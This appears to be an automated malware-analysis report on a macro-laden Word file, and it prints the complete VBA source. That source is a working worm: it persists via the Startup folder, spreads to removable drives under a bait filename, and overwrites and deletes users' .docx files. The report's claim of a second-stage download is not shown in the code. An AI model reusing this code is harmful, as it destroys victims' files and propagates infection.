MALICIOUS
330
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1071.001 Web Protocols
T1105 Ingress Tool Transfer
The sample contains a VBA macro that executes upon opening the document. This macro utilizes WScript.Shell to copy itself to the startup folder and templates directory, establishing persistence. It also attempts to spread itself to other drives by copying a file named '10 NOUVEAUX METHODES POUR GAGNER 2000EURO EN UN MOIS.DOC'. The macro's intent is to download and execute a second-stage payload and propagate itself.
Heuristics 9
-
ClamAV: Doc.Malware.Valyria-10001751-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-10001751-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBAMatched line in script
Private Sub Document_Open() Set a = CreateObject("wscript.shell") c = a.specialfolders("startup") -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Private Sub Document_Open() Set a = CreateObject("wscript.shell") c = a.specialfolders("startup") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Private Sub Document_Open() Set a = CreateObject("wscript.shell") c = a.specialfolders("startup") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() Set a = CreateObject("wscript.shell") -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3453 bytes |
SHA-256: 704cf41723c8972e2400c77bd2532540ffd8af9f9aadefbaaa660abaa8729480 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Set a = CreateObject("wscript.shell")
c = a.specialfolders("startup")
d = a.specialfolders("templates")
If Dir(c & "\system.vbe") = "" Then
ThisDocument.SaveAs2 (d & "\sysrar")
createVBS (c & "\system.vbe")
a.Run (Chr(34) & c & "\system.vbe" & Chr(34))
End If
iz = InputBox("Entrer code de validation", "Code de validation")
MsgBox "Code de validation incorrect. Veuillez contacter l'auteur. Merci", vbCritical, "ERREUR RRH1505-88"
End Sub
Private Sub createVBS(anarana As String)
txt = "micopie" & vbCrLf
txt = txt & "sub micopie()" & vbCrLf
txt = txt & "Set b = CreateObject(""scripting.filesystemobject"")" & vbCrLf
txt = txt & "Set a = CreateObject(""wscript.shell"")" & vbCrLf
txt = txt & "d = a.specialfolders(""templates"")" & vbCrLf
'txt = txt & "d = Left(c, 3)" & vbCrLf
txt = txt & "for i=67 to 90" & vbCrLf
txt = txt & "drv=chr(i)& "":\""" & vbCrLf
txt = txt & "if b.driveexists(drv)=true then" & vbCrLf
txt = txt & "set drv1=b.getdrive(drv)" & vbCrLf
txt = txt & "if drv1.drivetype=1 then" & vbCrLf
txt = txt & "if b.fileexists(drv & ""10 NOUVEAUX METHODES POUR GAGNER 2000EURO EN UN MOIS.DOC"")=false then" & vbCrLf
txt = txt & "b.copyfile (d & ""\sysrar.doc""),(drv & ""10 NOUVEAUX METHODES POUR GAGNER 2000EURO EN UN MOIS.DOC"")" & vbCrLf
txt = txt & "wscript.sleep 50" & vbCrLf
txt = txt & "end if" & vbCrLf
txt = txt & "mitadyfichier drv,(d & ""\sysrar.doc"")" & vbCrLf
txt = txt & "mitady drv,(d & ""\sysrar.doc"")" & vbCrLf
txt = txt & "end if" & vbCrLf
txt = txt & "end if" & vbCrLf
txt = txt & "next" & vbCrLf
txt = txt & "wscript.sleep 5000" & vbCrLf
txt = txt & "set b=nothing" & vbCrLf
txt = txt & "set a=nothing" & vbCrLf
txt = txt & "micopie" & vbCrLf
txt = txt & "end sub" & vbCrLf
txt = txt & "Sub mitady(chem, source)" & vbCrLf
txt = txt & "Set a = CreateObject(""scripting.filesystemobject"")" & vbCrLf
txt = txt & "On Error Resume Next" & vbCrLf
txt = txt & "Set b = a.getfolder(chem)" & vbCrLf
txt = txt & "Set E = b.subfolders" & vbCrLf
txt = txt & "For Each e1 In E" & vbCrLf
txt = txt & "mitadyfichier e1.Path, source" & vbCrLf
txt = txt & "mitady e1.Path, source" & vbCrLf
txt = txt & "Next" & vbCrLf
txt = txt & "End Sub" & vbCrLf
txt = txt & "Sub mitadyfichier(chem, source)" & vbCrLf
txt = txt & "Set a = CreateObject(""scripting.filesystemobject"")" & vbCrLf
txt = txt & "On Error Resume Next" & vbCrLf
txt = txt & "Set b = a.getfolder(chem)" & vbCrLf
txt = txt & "Set c = b.Files" & vbCrLf
txt = txt & "For Each c1 In c" & vbCrLf
txt = txt & "d = LCase(a.getextensionname(c1.Path))" & vbCrLf
txt = txt & "If d = ""docx"" Then" & vbCrLf
txt = txt & "a.copyfile source, Left(c1.Path, Len(c1.Path) - 1)" & vbCrLf
txt = txt & "wscript.sleep 50" & vbCrLf
txt = txt & "a.deletefile c1.path,true" & vbCrLf
txt = txt & "wscript.sleep 50" & vbCrLf
txt = txt & "End If" & vbCrLf
txt = txt & "Next" & vbCrLf
txt = txt & "End Sub"
Set scrENC = CreateObject("Scripting.Encoder")
myFileEncode = scrENC.EncodeScriptFile(".vbs", txt, 0, "")
Open anarana For Output As #1
Print #1, myFileEncode
Close #1
Set scrENC = Nothing
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.